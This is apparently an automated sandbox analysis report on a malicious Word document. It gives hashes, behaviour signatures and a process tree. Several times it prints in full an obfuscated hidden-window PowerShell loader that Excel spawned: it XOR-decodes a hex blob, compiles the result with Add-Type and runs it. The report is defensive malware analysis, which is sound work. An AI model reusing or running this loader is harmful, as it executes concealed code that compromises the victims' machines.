ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
150s
max time network
160s
platform
windows10_x64
resource
win10v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-18_235021.doc
Size

717KB
MD5

f3b7dc798a07685e462afdc1f33b5e14
SHA1

f823a3cfce3730f4e43b5ad8dc6cb897e53055f6
SHA256

370a5a70d12c40ccfd22ae590411e9cd90b0861f98f55549ef5cbe812a2c86cb
SHA512

71d8e52e83625ebec1cdbd8674296eca6761691b59643e907fd707eaad8ebdd291d796d30cf60a743cb3e949071dadc1b60da21bdc18574fd59cd6e32ae0c5e2

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2960	3832	powershell.exe	68
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2488	3508	powershell.exe	74
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	8	4092	powershell.exe	77
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2036	1704	powershell.exe	84
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	752	3028	powershell.exe	89

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3832 wrote to memory of 2960	3832	EXCEL.EXE	71
PID 3832 wrote to memory of 2960	3832	EXCEL.EXE	71
PID 3508 wrote to memory of 2488	3508	EXCEL.EXE	75
PID 3508 wrote to memory of 2488	3508	EXCEL.EXE	75
PID 2960 wrote to memory of 432	2960	powershell.exe	78
PID 2960 wrote to memory of 432	2960	powershell.exe	78
PID 2488 wrote to memory of 708	2488	powershell.exe	79
PID 2488 wrote to memory of 708	2488	powershell.exe	79
PID 4092 wrote to memory of 8	4092	EXCEL.EXE	80
PID 4092 wrote to memory of 8	4092	EXCEL.EXE	80
PID 708 wrote to memory of 3884	708	csc.exe	82
PID 708 wrote to memory of 3884	708	csc.exe	82
PID 432 wrote to memory of 3604	432	csc.exe	83
PID 432 wrote to memory of 3604	432	csc.exe	83
PID 8 wrote to memory of 1920	8	powershell.exe	85
PID 8 wrote to memory of 1920	8	powershell.exe	85
PID 1920 wrote to memory of 1876	1920	csc.exe	86
PID 1920 wrote to memory of 1876	1920	csc.exe	86
PID 1704 wrote to memory of 2036	1704	EXCEL.EXE	87
PID 1704 wrote to memory of 2036	1704	EXCEL.EXE	87
PID 2036 wrote to memory of 2092	2036	powershell.exe	90
PID 2036 wrote to memory of 2092	2036	powershell.exe	90
PID 2092 wrote to memory of 1144	2092	csc.exe	91
PID 2092 wrote to memory of 1144	2092	csc.exe	91
PID 3028 wrote to memory of 752	3028	EXCEL.EXE	92
PID 3028 wrote to memory of 752	3028	EXCEL.EXE	92
PID 752 wrote to memory of 3264	752	powershell.exe	94
PID 752 wrote to memory of 3264	752	powershell.exe	94
PID 3264 wrote to memory of 3304	3264	csc.exe	95
PID 3264 wrote to memory of 3304	3264	csc.exe	95

Enumerates system info in registry 2 TTPs 21 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	excelcnv.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Checks processor information in registry 2 TTPs 21 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	excelcnv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	excelcnv.exe

Suspicious use of SetWindowsHookEx 30 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3832	EXCEL.EXE
3508	EXCEL.EXE
3508	EXCEL.EXE
3508	EXCEL.EXE
3508	EXCEL.EXE
4092	EXCEL.EXE
4092	EXCEL.EXE
4092	EXCEL.EXE
4092	EXCEL.EXE
1704	EXCEL.EXE
1704	EXCEL.EXE
1704	EXCEL.EXE
1704	EXCEL.EXE
3028	EXCEL.EXE
3028	EXCEL.EXE
3028	EXCEL.EXE
3028	EXCEL.EXE
2448	excelcnv.exe
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE
3512	WINWORD.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3512	WINWORD.EXE
3512	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	752	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2960	powershell.exe
2960	powershell.exe
2960	powershell.exe
2488	powershell.exe
2488	powershell.exe
2488	powershell.exe
8	powershell.exe
8	powershell.exe
8	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe

Blacklisted process makes network request 4 IoCs

flow	pid	Process
25	2488	powershell.exe
27	8	powershell.exe
29	2036	powershell.exe
31	752	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-18_235021.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:3512

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function f7cfc52 {param($j1652)$b4747='ybdbc';$a4b21e='';for ($i=0; $i -lt $j1652.length;$i+=2){$bac73f7=[convert]::ToByte($j1652.Substring($i,2),16);$a4b21e+=[char]($bac73f7 -bxor $b4747[($i/2)%$b4747.length]);}return $a4b21e;} $ab4b3f = '0c110d0c0459311d11171c0f5f1710100c034230001110070e5730110c17100f014c2a171601100c093101101510010111580c110d0c0459311d11171c0f4a260a18050a0d100d0b0711580c110d0c0459311d11171c0f4a2b2c4217170b0d1e42371b100d07094c2d1c165f6f690917060e0a1a42070e020a114404054b045d57182226080e2a14120b101751400f071117070851515b4e210c170b1b340d0a17165940241c1634100c1a230006111c1117404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d32101043155b5256504e4a2d0c1729161642091a50060300551110100a1705440a014f015d4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c10425e5940280d021d2e0d001118101d404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d321010430b55075406511110100a1705440d5b4d5a5c4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c105f412f0b161616180e34100c0d07071641503f4412161b0e0d01430a1605160a1a42011a171c100a4201160d0842134051070755512b0a16330d104403054c575c5b4f2c2b0a16330d10441551180450504f59170d0c1759040604514b01074e431617104216100c10420e400305545550593f260f152b09120c0b164c40281c100a070f4a504a060f15404842261716161b33160b0a165e5b30100e2e1614012f06140d161b41554237071735031716260b100b105e1f03081106503f44111718160d01431c1a1007111742120d0a1d421507021b004c2b0d0d3210104313045357511c4e2d0c1729161642124b560600574f4e0d0c1759010656554f5a564b580917060e0a1a421716020d0b07420a17164404064e5b055550514b1f2b0d0d321010430b0001045a4f425942114e0152074b1f550704004c504c4052415202535449005006521d5201525b5b4b4d590a1f4a1600061f5b525f5e300c1032170b4c3e0711164b1f050c0d0d441b514d0105591e300c1032170b420a5407405a590e5a4f5657554b0b0001045a4f4e0255001f0151504b5b515c52054855540050495305525049035652524f530252574953555241504b5f0b05510c52065a415f592b0d0d3210104d2307160d4a02050b160c591b565600185919372a171634161159015255014e54594a36300c1032170b4b515916100c1042101d01075b574a5f54590a1f4a45125a4a0101544b1754005b5b55015255014e5448521b4d52480d160d421706001a5b50514a5019030d1716421d50571a035f1f21001601393e59135503071f5f1f521b4a5348521b1f0448521b405219592a171634161159155d5452415a025f2e1810170a02154c250e0f16012c250f1600050e4b4a4b5f2f020b110c030f57210b121a51135503071f4e544e144054555a5b1f4e574b580807050001510c011543300c1032170b4a0a5407405a4a360c300c105457514b4f521b495255004a55155d5452415a024e5050591d50571a035e42341c00270e0a1c0c1042144e53060156440c0115432e0706210f10070a164b5059171611100c0342121a015d55554e5f210c1510100b0c0e1c0c104c241c16220d0f1d071632020d0a4c270d0f0b160d0d14070a164d2a1201010a180e220d0f1d07164c220912080b0018160d0d0d3d0310034a5240383e0c405a0150555b490255001f0151504b5b57535254480154554150591355521b01514c2716150a0e0c1806220b0f1c4a0255001f0151504b5b535553554852555056405752560749545455534b535353524d5b5103564b56065600495b5407571a520553514d005452534853065253495454525348530652534d035455521b5307404a551307015a4e54534b5829100b01060a113716020b162d0c0516421004524b54590c060e4234100c1a071711300d0316162a17040b4a121a015d55554e4b5f3211160101111057311003110d4a1004524b544d59111c1611100d59525f1f130c00080b00591110031710014411170b0b0a05431f550704004c504c11170b0b0a0543185755075b1f4b1f11170b0b0a054313015600021a5f461b011d000740580a16160b0d1e421655004f075931170b0b0a054d3c0f14161a42040b104b100c10420a44525f0b5f185755075b1f4c28070d1e160c590a525f564b181b1b100743155b5256504e5f270d0d0f0716164d2d0d261b171c4a0557521c5a024c300c00171611100c034a0a55504d4e524f4b5f10541a5401495e51010c0311504a085b554d5153423d590807500118013f4a0a56504d4246590807500118014a2e061705100a3e50591910060d17160c430b55075406421f19'; $ab4b3f2 = f7cfc52($ab4b3f); Add-Type -TypeDefinition $ab4b3f2; [ff2f95]::fe79a73();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:2960
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0s53rnr3\0s53rnr3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85D4.tmp" "c:\Users\Admin\AppData\Local\Temp\0s53rnr3\CSC36B52FAD17874A53A85DA8CFB0295A53.TMP"
      4⤵
      PID:3604

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function f7cfc52 {param($j1652)$b4747='ybdbc';$a4b21e='';for ($i=0; $i -lt $j1652.length;$i+=2){$bac73f7=[convert]::ToByte($j1652.Substring($i,2),16);$a4b21e+=[char]($bac73f7 -bxor $b4747[($i/2)%$b4747.length]);}return $a4b21e;} $ab4b3f = '0c110d0c0459311d11171c0f5f1710100c034230001110070e5730110c17100f014c2a171601100c093101101510010111580c110d0c0459311d11171c0f4a260a18050a0d100d0b0711580c110d0c0459311d11171c0f4a2b2c4217170b0d1e42371b100d07094c2d1c165f6f690917060e0a1a42070e020a114404054b045d57182226080e2a14120b101751400f071117070851515b4e210c170b1b340d0a17165940241c1634100c1a230006111c1117404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d32101043155b5256504e4a2d0c1729161642091a50060300551110100a1705440a014f015d4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c10425e5940280d021d2e0d001118101d404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d321010430b55075406511110100a1705440d5b4d5a5c4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c105f412f0b161616180e34100c0d07071641503f4412161b0e0d01430a1605160a1a42011a171c100a4201160d0842134051070755512b0a16330d104403054c575c5b4f2c2b0a16330d10441551180450504f59170d0c1759040604514b01074e431617104216100c10420e400305545550593f260f152b09120c0b164c40281c100a070f4a504a060f15404842261716161b33160b0a165e5b30100e2e1614012f06140d161b41554237071735031716260b100b105e1f03081106503f44111718160d01431c1a1007111742120d0a1d421507021b004c2b0d0d3210104313045357511c4e2d0c1729161642124b560600574f4e0d0c1759010656554f5a564b580917060e0a1a421716020d0b07420a17164404064e5b055550514b1f2b0d0d321010430b0001045a4f425942114e0152074b1f550704004c504c4052415202535449005006521d5201525b5b4b4d590a1f4a1600061f5b525f5e300c1032170b4c3e0711164b1f050c0d0d441b514d0105591e300c1032170b420a5407405a590e5a4f5657554b0b0001045a4f4e0255001f0151504b5b515c52054855540050495305525049035652524f530252574953555241504b5f0b05510c52065a415f592b0d0d3210104d2307160d4a02050b160c591b565600185919372a171634161159015255014e54594a36300c1032170b4b515916100c1042101d01075b574a5f54590a1f4a45125a4a0101544b1754005b5b55015255014e5448521b4d52480d160d421706001a5b50514a5019030d1716421d50571a035f1f21001601393e59135503071f5f1f521b4a5348521b1f0448521b405219592a171634161159155d5452415a025f2e1810170a02154c250e0f16012c250f1600050e4b4a4b5f2f020b110c030f57210b121a51135503071f4e544e144054555a5b1f4e574b580807050001510c011543300c1032170b4a0a5407405a4a360c300c105457514b4f521b495255004a55155d5452415a024e5050591d50571a035e42341c00270e0a1c0c1042144e53060156440c0115432e0706210f10070a164b5059171611100c0342121a015d55554e5f210c1510100b0c0e1c0c104c241c16220d0f1d071632020d0a4c270d0f0b160d0d14070a164d2a1201010a180e220d0f1d07164c220912080b0018160d0d0d3d0310034a5240383e0c405a0150555b490255001f0151504b5b57535254480154554150591355521b01514c2716150a0e0c1806220b0f1c4a0255001f0151504b5b535553554852555056405752560749545455534b535353524d5b5103564b56065600495b5407571a520553514d005452534853065253495454525348530652534d035455521b5307404a551307015a4e54534b5829100b01060a113716020b162d0c0516421004524b54590c060e4234100c1a071711300d0316162a17040b4a121a015d55554e4b5f3211160101111057311003110d4a1004524b544d59111c1611100d59525f1f130c00080b00591110031710014411170b0b0a05431f550704004c504c11170b0b0a0543185755075b1f4b1f11170b0b0a054313015600021a5f461b011d000740580a16160b0d1e421655004f075931170b0b0a054d3c0f14161a42040b104b100c10420a44525f0b5f185755075b1f4c28070d1e160c590a525f564b181b1b100743155b5256504e5f270d0d0f0716164d2d0d261b171c4a0557521c5a024c300c00171611100c034a0a55504d4e524f4b5f10541a5401495e51010c0311504a085b554d5153423d590807500118013f4a0a56504d4246590807500118014a2e061705100a3e50591910060d17160c430b55075406421f19'; $ab4b3f2 = f7cfc52($ab4b3f); Add-Type -TypeDefinition $ab4b3f2; [ff2f95]::fe79a73();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:2488
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yqitjjp2\yqitjjp2.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:708
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85C5.tmp" "c:\Users\Admin\AppData\Local\Temp\yqitjjp2\CSCC44A8E9BBE704EDFA889A296151431.TMP"
      4⤵
      PID:3884

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function f7cfc52 {param($j1652)$b4747='ybdbc';$a4b21e='';for ($i=0; $i -lt $j1652.length;$i+=2){$bac73f7=[convert]::ToByte($j1652.Substring($i,2),16);$a4b21e+=[char]($bac73f7 -bxor $b4747[($i/2)%$b4747.length]);}return $a4b21e;} $ab4b3f = '0c110d0c0459311d11171c0f5f1710100c034230001110070e5730110c17100f014c2a171601100c093101101510010111580c110d0c0459311d11171c0f4a260a18050a0d100d0b0711580c110d0c0459311d11171c0f4a2b2c4217170b0d1e42371b100d07094c2d1c165f6f690917060e0a1a42070e020a114404054b045d57182226080e2a14120b101751400f071117070851515b4e210c170b1b340d0a17165940241c1634100c1a230006111c1117404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d32101043155b5256504e4a2d0c1729161642091a50060300551110100a1705440a014f015d4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c10425e5940280d021d2e0d001118101d404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d321010430b55075406511110100a1705440d5b4d5a5c4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c105f412f0b161616180e34100c0d07071641503f4412161b0e0d01430a1605160a1a42011a171c100a4201160d0842134051070755512b0a16330d104403054c575c5b4f2c2b0a16330d10441551180450504f59170d0c1759040604514b01074e431617104216100c10420e400305545550593f260f152b09120c0b164c40281c100a070f4a504a060f15404842261716161b33160b0a165e5b30100e2e1614012f06140d161b41554237071735031716260b100b105e1f03081106503f44111718160d01431c1a1007111742120d0a1d421507021b004c2b0d0d3210104313045357511c4e2d0c1729161642124b560600574f4e0d0c1759010656554f5a564b580917060e0a1a421716020d0b07420a17164404064e5b055550514b1f2b0d0d321010430b0001045a4f425942114e0152074b1f550704004c504c4052415202535449005006521d5201525b5b4b4d590a1f4a1600061f5b525f5e300c1032170b4c3e0711164b1f050c0d0d441b514d0105591e300c1032170b420a5407405a590e5a4f5657554b0b0001045a4f4e0255001f0151504b5b515c52054855540050495305525049035652524f530252574953555241504b5f0b05510c52065a415f592b0d0d3210104d2307160d4a02050b160c591b565600185919372a171634161159015255014e54594a36300c1032170b4b515916100c1042101d01075b574a5f54590a1f4a45125a4a0101544b1754005b5b55015255014e5448521b4d52480d160d421706001a5b50514a5019030d1716421d50571a035f1f21001601393e59135503071f5f1f521b4a5348521b1f0448521b405219592a171634161159155d5452415a025f2e1810170a02154c250e0f16012c250f1600050e4b4a4b5f2f020b110c030f57210b121a51135503071f4e544e144054555a5b1f4e574b580807050001510c011543300c1032170b4a0a5407405a4a360c300c105457514b4f521b495255004a55155d5452415a024e5050591d50571a035e42341c00270e0a1c0c1042144e53060156440c0115432e0706210f10070a164b5059171611100c0342121a015d55554e5f210c1510100b0c0e1c0c104c241c16220d0f1d071632020d0a4c270d0f0b160d0d14070a164d2a1201010a180e220d0f1d07164c220912080b0018160d0d0d3d0310034a5240383e0c405a0150555b490255001f0151504b5b57535254480154554150591355521b01514c2716150a0e0c1806220b0f1c4a0255001f0151504b5b535553554852555056405752560749545455534b535353524d5b5103564b56065600495b5407571a520553514d005452534853065253495454525348530652534d035455521b5307404a551307015a4e54534b5829100b01060a113716020b162d0c0516421004524b54590c060e4234100c1a071711300d0316162a17040b4a121a015d55554e4b5f3211160101111057311003110d4a1004524b544d59111c1611100d59525f1f130c00080b00591110031710014411170b0b0a05431f550704004c504c11170b0b0a0543185755075b1f4b1f11170b0b0a054313015600021a5f461b011d000740580a16160b0d1e421655004f075931170b0b0a054d3c0f14161a42040b104b100c10420a44525f0b5f185755075b1f4c28070d1e160c590a525f564b181b1b100743155b5256504e5f270d0d0f0716164d2d0d261b171c4a0557521c5a024c300c00171611100c034a0a55504d4e524f4b5f10541a5401495e51010c0311504a085b554d5153423d590807500118013f4a0a56504d4246590807500118014a2e061705100a3e50591910060d17160c430b55075406421f19'; $ab4b3f2 = f7cfc52($ab4b3f); Add-Type -TypeDefinition $ab4b3f2; [ff2f95]::fe79a73();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:8
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sw522rip\sw522rip.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES894F.tmp" "c:\Users\Admin\AppData\Local\Temp\sw522rip\CSC9EF33382AFF94CCCA95C50CE6150CDF5.TMP"
      4⤵
      PID:1876

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function f7cfc52 {param($j1652)$b4747='ybdbc';$a4b21e='';for ($i=0; $i -lt $j1652.length;$i+=2){$bac73f7=[convert]::ToByte($j1652.Substring($i,2),16);$a4b21e+=[char]($bac73f7 -bxor $b4747[($i/2)%$b4747.length]);}return $a4b21e;} $ab4b3f = '0c110d0c0459311d11171c0f5f1710100c034230001110070e5730110c17100f014c2a171601100c093101101510010111580c110d0c0459311d11171c0f4a260a18050a0d100d0b0711580c110d0c0459311d11171c0f4a2b2c4217170b0d1e42371b100d07094c2d1c165f6f690917060e0a1a42070e020a114404054b045d57182226080e2a14120b101751400f071117070851515b4e210c170b1b340d0a17165940241c1634100c1a230006111c1117404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d32101043155b5256504e4a2d0c1729161642091a50060300551110100a1705440a014f015d4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c10425e5940280d021d2e0d001118101d404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d321010430b55075406511110100a1705440d5b4d5a5c4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c105f412f0b161616180e34100c0d07071641503f4412161b0e0d01430a1605160a1a42011a171c100a4201160d0842134051070755512b0a16330d104403054c575c5b4f2c2b0a16330d10441551180450504f59170d0c1759040604514b01074e431617104216100c10420e400305545550593f260f152b09120c0b164c40281c100a070f4a504a060f15404842261716161b33160b0a165e5b30100e2e1614012f06140d161b41554237071735031716260b100b105e1f03081106503f44111718160d01431c1a1007111742120d0a1d421507021b004c2b0d0d3210104313045357511c4e2d0c1729161642124b560600574f4e0d0c1759010656554f5a564b580917060e0a1a421716020d0b07420a17164404064e5b055550514b1f2b0d0d321010430b0001045a4f425942114e0152074b1f550704004c504c4052415202535449005006521d5201525b5b4b4d590a1f4a1600061f5b525f5e300c1032170b4c3e0711164b1f050c0d0d441b514d0105591e300c1032170b420a5407405a590e5a4f5657554b0b0001045a4f4e0255001f0151504b5b515c52054855540050495305525049035652524f530252574953555241504b5f0b05510c52065a415f592b0d0d3210104d2307160d4a02050b160c591b565600185919372a171634161159015255014e54594a36300c1032170b4b515916100c1042101d01075b574a5f54590a1f4a45125a4a0101544b1754005b5b55015255014e5448521b4d52480d160d421706001a5b50514a5019030d1716421d50571a035f1f21001601393e59135503071f5f1f521b4a5348521b1f0448521b405219592a171634161159155d5452415a025f2e1810170a02154c250e0f16012c250f1600050e4b4a4b5f2f020b110c030f57210b121a51135503071f4e544e144054555a5b1f4e574b580807050001510c011543300c1032170b4a0a5407405a4a360c300c105457514b4f521b495255004a55155d5452415a024e5050591d50571a035e42341c00270e0a1c0c1042144e53060156440c0115432e0706210f10070a164b5059171611100c0342121a015d55554e5f210c1510100b0c0e1c0c104c241c16220d0f1d071632020d0a4c270d0f0b160d0d14070a164d2a1201010a180e220d0f1d07164c220912080b0018160d0d0d3d0310034a5240383e0c405a0150555b490255001f0151504b5b57535254480154554150591355521b01514c2716150a0e0c1806220b0f1c4a0255001f0151504b5b535553554852555056405752560749545455534b535353524d5b5103564b56065600495b5407571a520553514d005452534853065253495454525348530652534d035455521b5307404a551307015a4e54